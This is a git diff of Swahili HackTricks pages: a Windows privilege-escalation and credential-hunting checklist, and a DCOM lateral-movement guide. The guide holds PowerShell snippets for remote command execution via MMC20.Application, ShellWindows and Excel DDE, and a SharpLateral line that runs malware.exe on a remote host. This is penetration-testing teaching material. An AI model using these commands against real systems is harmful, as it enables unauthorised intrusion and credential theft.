* [Je, unaweza **kurekebisha** **usajili** wa **huduma yoyote**?](windows-local-privilege-escalation/#services-registry-modify-permissions)
|
||||||
* [ ] [Je, unaweza kutumia faida ya **njia ya huduma** isiyo na nukuu **?**](windows-local-privilege-escalation/#unquoted-service-paths)
|
* [Je, unaweza kunufaika na **njia ya faili** isiyo na nukuu ya **huduma** yoyote?](windows-local-privilege-escalation/#unquoted-service-paths)
|
||||||
|
|
||||||
### [**Programu**](windows-local-privilege-escalation/#applications)
|
### [**Programu**](windows-local-privilege-escalation/#applications)
|
||||||
|
|
||||||
* [ ] **Andika** [**ruhusa kwenye programu zilizosanikishwa**](windows-local-privilege-escalation/#write-permissions)
|
* **Andika** [**ruhusa kwenye programu zilizosanikishwa**](windows-local-privilege-escalation/#write-permissions)
|
||||||
* [ ] [**Programu za Kuanza**](windows-local-privilege-escalation/#run-at-startup)
|
* [**Programu za Kuanza**](windows-local-privilege-escalation/#run-at-startup)
|
||||||
* **Madereva** [**Dhaifu**](windows-local-privilege-escalation/#drivers)
|
* **Madereva** [**Dhaifu**](windows-local-privilege-escalation/#drivers)
|
||||||
|
### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking)
|
||||||
|
|
||||||
### [Udukuzi wa DLL](windows-local-privilege-escalation/#path-dll-hijacking)
|
* [ ] Je, unaweza **kuandika kwenye folda yoyote ndani ya PATH**?
|
||||||
|
* [ ] Kuna binary ya huduma inayojulikana ambayo **jaribu kupakia DLL ambayo haipo**?
|
||||||
|
* [ ] Je, unaweza **kuandika** kwenye **folda za binaries** yoyote?
|
||||||
|
|
||||||
* [ ] Je, unaweza **kuandika katika folda yoyote ndani ya PATH**?
|
|
||||||
* Je, kuna huduma inayojulikana ya binary ambayo **jaribu kupakia DLL yoyote isiyopo**?
|
|
||||||
* Je, unaweza **kuandika** katika **folda za binaries** yoyote?
|
|
||||||
### [Mtandao](windows-local-privilege-escalation/#network)
|
### [Mtandao](windows-local-privilege-escalation/#network)
|
||||||
|
|
||||||
* [ ] Piga hesabu ya mtandao (kugawana, interfaces, njia, majirani, ...)
|
* [ ] Taja mtandao (mgawanyo, interfaces, njia, majirani, ...)
|
||||||
* [ ] Angalia kwa umakini huduma za mtandao zinazosikiliza kwenye localhost (127.0.0.1)
|
* [ ] Angalia kwa umakini huduma za mtandao zinazosikiliza kwenye localhost (127.0.0.1)
|
||||||
|
|
||||||
### [Mandaraka ya Windows](windows-local-privilege-escalation/#windows-credentials)
|
### [Siri za Windows](windows-local-privilege-escalation/#windows-credentials)
|
||||||
|
|
||||||
* [ ] [**Winlogon** ](windows-local-privilege-escalation/#winlogon-credentials)mandaraka
|
* [ ] [**Winlogon** ](windows-local-privilege-escalation/#winlogon-credentials)siri
|
||||||
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) mandaraka unayoweza kutumia?
|
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) siri unayoweza kutumia?
|
||||||
* [ ] [**Mandaraka ya DPAPI**](windows-local-privilege-escalation/#dpapi) yenye kuvutia?
|
* [ ] [**Siri za DPAPI**](windows-local-privilege-escalation/#dpapi) zenye kuvutia?
|
||||||
* [ ] Nywila za mtandao zilizohifadhiwa [**kwenye mitandao ya Wifi**](windows-local-privilege-escalation/#wifi)?
|
* [ ] Nywila za mtandao zilizohifadhiwa [**Wifi networks**](windows-local-privilege-escalation/#wifi)?
|
||||||
* [ ] Taarifa yenye kuvutia kwenye [**mambo ya hivi karibuni ya RDP Connections**](windows-local-privilege-escalation/#saved-rdp-connections)?
|
* [ ] Taarifa zenye kuvutia katika [**mambo ya hivi karibuni**](windows-local-privilege-escalation/#recently-run-commands)?
|
||||||
* [ ] Nywila kwenye [**amri zilizotekelezwa hivi karibuni**](windows-local-privilege-escalation/#recently-run-commands)?
|
* [ ] [**Meneja wa Siri wa Desktop ya Mbali**](windows-local-privilege-escalation/#remote-desktop-credential-manager) nywila?
|
||||||
* [ ] [**Meneja wa Mandaraka ya Desktop ya Mbali**](windows-local-privilege-escalation/#remote-desktop-credential-manager) nywila?
|
* [ ] [**AppCmd.exe** ipo](windows-local-privilege-escalation/#appcmd-exe)? Nywila?
|
||||||
* [ ] [**AppCmd.exe** ipo](windows-local-privilege-escalation/#appcmd-exe)? Mandaraka?
|
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? DLL Side Loading?
|
||||||
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? Uwekaji wa DLL upande?
|
|
||||||
|
|
||||||
### [Faili na Usajili (Mandaraka)](windows-local-privilege-escalation/#files-and-registry-credentials)
|
### [Faili na Usajili (Siri)](windows-local-privilege-escalation/#files-and-registry-credentials)
|
||||||
|
|
||||||
* [ ] **Putty:** [**Mandaraka**](windows-local-privilege-escalation/#putty-creds) **na** [**funguo za mwenyeji wa SSH**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
* [ ] **Putty:** [**Siri**](windows-local-privilege-escalation/#putty-creds) **na** [**SSH host keys**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
||||||
* [ ] [**Funguo za SSH kwenye usajili**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
|
* [ ] [**SSH keys katika usajili**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
|
||||||
* [ ] Nywila kwenye [**faili za bila usimamizi**](windows-local-privilege-escalation/#unattended-files)?
|
* [ ] Nywila katika [**faili za bila usimamizi**](windows-local-privilege-escalation/#unattended-files)?
|
||||||
* [ ] Backup yoyote ya [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)?
|
* [ ] Backup yoyote ya [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)?
|
||||||
* [ ] [**Mandaraka ya Cloud**](windows-local-privilege-escalation/#cloud-credentials)?
|
* [ ] [**Siri za Cloud**](windows-local-privilege-escalation/#cloud-credentials)?
|
||||||
* [ ] Faili ya [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml)?
|
* [ ] Faili ya [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml)?
|
||||||
* [ ] [**Nywila iliyohifadhiwa ya GPP**](windows-local-privilege-escalation/#cached-gpp-pasword)?
|
* [**Cached GPP Password**](windows-local-privilege-escalation/#cached-gpp-pasword)?
|
||||||
* [ ] Nywila kwenye [**faili ya usanidi wa Wavuti ya IIS**](windows-local-privilege-escalation/#iis-web-config)?
|
* [ ] Nywila katika [**faili ya mazingira ya Wavuti ya IIS**](windows-local-privilege-escalation/#iis-web-config)?
|
||||||
* [ ] Taarifa yenye kuvutia kwenye [**logi za wavuti**](windows-local-privilege-escalation/#logs)?
|
* [ ] Taarifa zenye kuvutia katika [**logs za wavuti**](windows-local-privilege-escalation/#logs)?
|
||||||
* [ ] Je! Unataka [**kuomba mandaraka**](windows-local-privilege-escalation/#ask-for-credentials) kwa mtumiaji?
|
* [ ] Je, unataka [**kuomba siri**](windows-local-privilege-escalation/#ask-for-credentials) kwa mtumiaji?
|
||||||
* [ ] Taarifa yenye kuvutia [**ndani ya Bakuli la Taka**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
|
* [ ] Taarifa zenye kuvutia katika [**faili ndani ya Recycle Bin**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
|
||||||
* [ ] Usajili mwingine wenye [**mandaraka**](windows-local-privilege-escalation/#inside-the-registry)?
|
* [ ] Usajili mwingine una [**siri**](windows-local-privilege-escalation/#inside-the-registry)?
|
||||||
* [ ] Ndani ya [**Data ya Kivinjari**](windows-local-privilege-escalation/#browsers-history) (dbs, historia, alamisho, ...)?
|
* [ ] Ndani ya [**data ya Kivinjari**](windows-local-privilege-escalation/#browsers-history) (dbs, historia, alamisho, ...)?
|
||||||
* [**Utafutaji wa nywila wa jumla**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) kwenye faili na usajili
|
* [**Utafutaji wa nywila za jumla**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) katika faili na usajili
|
||||||
* [**Zana**](windows-local-privilege-escalation/#tools-that-search-for-passwords) za kutafuta nywila kiotomatiki
|
* [**Zana**](windows-local-privilege-escalation/#tools-that-search-for-passwords) za kutafuta nywila kiotomatiki
|
||||||
|
|
||||||
### [Mikono Iliyovuja](windows-local-privilege-escalation/#leaked-handlers)
|
### [Mikono Iliyovuja](windows-local-privilege-escalation/#leaked-handlers)
|
||||||
|
|
||||||
* [ ] Je! Una ufikiaji wa kifaa chochote cha mchakato ulioendeshwa na msimamizi?
|
* [ ] Je, una ufikiaji wa kifaa chochote cha mchakato ulioendeshwa na msimamizi?
|
||||||
|
|
||||||
### [Uigaji wa Mteja wa Mipira](windows-local-privilege-escalation/#named-pipe-client-impersonation)
|
### [Uigaji wa Mteja wa Mipira](windows-local-privilege-escalation/#named-pipe-client-impersonation)
|
||||||
|
|
||||||
* [ ] Angalia ikiwa unaweza kutumia hilo
|
* [ ] Angalia kama unaweza kutumia hilo
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
|
|
@ -4,26 +4,34 @@
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)..
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)..
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
## MMC20.Application
|
## MMC20.Application
|
||||||
|
|
||||||
**Kwa habari zaidi kuhusu mbinu hii angalia chapisho la asili kutoka [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
**Kwa habari zaidi kuhusu mbinu hii angalia chapisho la asili kutoka [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||||
|
|
||||||
|
|
||||||
Modeli ya Vitu vya Mfano wa Vitengo vilivyosambazwa (DCOM) hutoa uwezo wa kuvutia kwa mwingiliano wa mtandao na vitu. Microsoft hutoa nyaraka kamili kwa DCOM na Modeli ya Vitengo vya Mfano (COM), inayopatikana [hapa kwa DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) na [hapa kwa COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Orodha ya programu za DCOM inaweza kupatikana kwa kutumia amri ya PowerShell:
|
Modeli ya Vitu vya Mfano wa Sehemu iliyosambazwa (DCOM) inatoa uwezo wa kuvutia kwa mwingiliano wa mtandao na vitu. Microsoft hutoa nyaraka kamili kwa DCOM na Modeli ya Vitu vya Sehemu (COM), inayopatikana [hapa kwa DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) na [hapa kwa COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Orodha ya programu za DCOM inaweza kupatikana kwa kutumia amri ya PowerShell:
|
||||||
```bash
|
```bash
|
||||||
Get-CimInstance Win32_DCOMApplication
|
Get-CimInstance Win32_DCOMApplication
|
||||||
```
|
```
|
||||||
COM object, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), inawezesha uandishi wa hatua za MMC snap-in kwa kutumia script. Kwa umuhimu, kipengele hiki kina njia ya `ExecuteShellCommand` chini ya `Document.ActiveView`. Taarifa zaidi kuhusu njia hii inaweza kupatikana [hapa](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Angalia ikifanya kazi:
|
COM object, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), inawezesha uandishi wa hatua za MMC snap-in. Kwa umuhimu, kipengele hiki kina njia ya `ExecuteShellCommand` chini ya `Document.ActiveView`. Taarifa zaidi kuhusu njia hii zinaweza kupatikana [hapa](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Angalia ikifanya kazi:
|
||||||
|
|
||||||
Kipengele hiki kinawezesha utekelezaji wa amri kupitia mtandao kupitia programu ya DCOM. Ili kuingiliana na DCOM kijijini kama msimamizi, PowerShell inaweza kutumika kama ifuatavyo:
|
Kipengele hiki kinarahisisha utekelezaji wa amri juu ya mtandao kupitia programu ya DCOM. Ili kuingiliana na DCOM kijijini kama msimamizi, PowerShell inaweza kutumika kama ifuatavyo:
|
||||||
```powershell
|
```powershell
|
||||||
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
|
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
|
||||||
```
|
```
|
||||||
|
@ -45,16 +53,16 @@ ls \\10.10.10.10\c$\Users
|
||||||
```
|
```
|
||||||
## ShellWindows & ShellBrowserWindow
|
## ShellWindows & ShellBrowserWindow
|
||||||
|
|
||||||
**Kwa habari zaidi kuhusu hii mbinu angalia chapisho la asili [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
|
**Kwa habari zaidi kuhusu hii technique angalia chapisho la asili [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
|
||||||
|
|
||||||
Kitu cha **MMC20.Application** kiligunduliwa kukosa "LaunchPermissions" wazi, kikiruhusu upatikanaji wa Wasimamizi kwa chaguo-msingi. Kwa maelezo zaidi, mjadala unaweza kuchunguzwa [hapa](https://twitter.com/tiraniddo/status/817532039771525120), na matumizi ya [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET kwa kuchuja vitu bila ruhusa wazi ya Kuzindua inapendekezwa.
|
Kitu cha **MMC20.Application** kiligunduliwa kukosa "LaunchPermissions" wazi, kikiruhusu upatikanaji wa Wasimamizi kwa chaguo-msingi. Kwa maelezo zaidi, mjadala unaweza kuchunguzwa [hapa](https://twitter.com/tiraniddo/status/817532039771525120), na matumizi ya [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET kwa kuchuja vitu bila ruhusa wazi ya Kuzindua inapendekezwa.
|
||||||
|
|
||||||
Vitu viwili maalum, `ShellBrowserWindow` na `ShellWindows`, vilisisitizwa kutokana na kukosa kwa ruhusa wazi ya Kuzindua. Kutokuwepo kwa kuingia kwa usajili wa `LaunchPermission` chini ya `HKCR:\AppID\{guid}` kunamaanisha hakuna ruhusa wazi.
|
Vitu viwili maalum, `ShellBrowserWindow` na `ShellWindows`, vilisisitizwa kutokana na kukosa kwa Ruhusa wazi ya Kuzindua. Kutokuwepo kwa kuingia kwa usajili wa `LaunchPermission` chini ya `HKCR:\AppID\{guid}` kunamaanisha hakuna ruhusa wazi.
|
||||||
|
|
||||||
### ShellWindows
|
### ShellWindows
|
||||||
Kwa `ShellWindows`, ambayo haina ProgID, njia za .NET `Type.GetTypeFromCLSID` na `Activator.CreateInstance` hurahisisha uundaji wa vitu kwa kutumia AppID yake. Mchakato huu unatumia OleView .NET kuchukua CLSID kwa `ShellWindows`. Mara baada ya kuundwa, mwingiliano unawezekana kupitia njia ya `WindowsShell.Item`, ikiongoza kwa wito wa njia kama `Document.Application.ShellExecute`.
|
Kwa `ShellWindows`, ambayo haina ProgID, njia za .NET `Type.GetTypeFromCLSID` na `Activator.CreateInstance` hurahisisha uundaji wa vitu kwa kutumia AppID yake. Mchakato huu unatumia OleView .NET kupata CLSID kwa `ShellWindows`. Mara baada ya kuundwa, mwingiliano unawezekana kupitia njia ya `WindowsShell.Item`, ikiongoza kwa wito wa njia kama `Document.Application.ShellExecute`.
|
||||||
|
|
||||||
Amri za PowerShell za mfano zilitolewa kwa ajili ya kuunda kipengee na kutekeleza amri kijijini:
|
Amri za PowerShell za mfano zilitolewa kwa kusababisha kitu na kutekeleza amri kijijini:
|
||||||
```powershell
|
```powershell
|
||||||
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
|
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
|
||||||
$obj = [System.Activator]::CreateInstance($com)
|
$obj = [System.Activator]::CreateInstance($com)
|
||||||
|
@ -90,11 +98,11 @@ $Obj.DDEInitiate("cmd", "/c $Command")
|
||||||
```
|
```
|
||||||
### Zana za Kiotomatiki kwa Harakati za Upande
|
### Zana za Kiotomatiki kwa Harakati za Upande
|
||||||
|
|
||||||
Zana mbili zimebainishwa kwa ajili ya kiotomatiki hizi mbinu:
|
Zana mbili zinaonyeshwa kwa kiotomatiki hizi mbinu:
|
||||||
|
|
||||||
- **Invoke-DCOM.ps1**: Skripti ya PowerShell iliyotolewa na mradi wa Empire ambayo inasaidia kwa kiasi kikubwa wito wa njia tofauti za kutekeleza namna ya kificho kwenye mashine za mbali. Skripti hii inapatikana kwenye hazina ya GitHub ya Empire.
|
- **Invoke-DCOM.ps1**: Skripti ya PowerShell iliyotolewa na mradi wa Empire ambayo inasaidia kuita njia tofauti za kutekeleza nambari kwenye mashine za mbali. Skripti hii inapatikana kwenye hazina ya GitHub ya Empire.
|
||||||
|
|
||||||
- **SharpLateral**: Zana iliyoundwa kwa ajili ya kutekeleza kificho kijijini, ambayo inaweza kutumika kwa amri:
|
- **SharpLateral**: Zana iliyoundwa kwa ajili ya kutekeleza nambari kijijini, ambayo inaweza kutumika kwa amri:
|
||||||
```bash
|
```bash
|
||||||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||||
```
|
```
|
||||||
|
@ -110,16 +118,22 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||||
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
||||||
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
|
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJISAJILI**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
Loading…
Reference in a new issue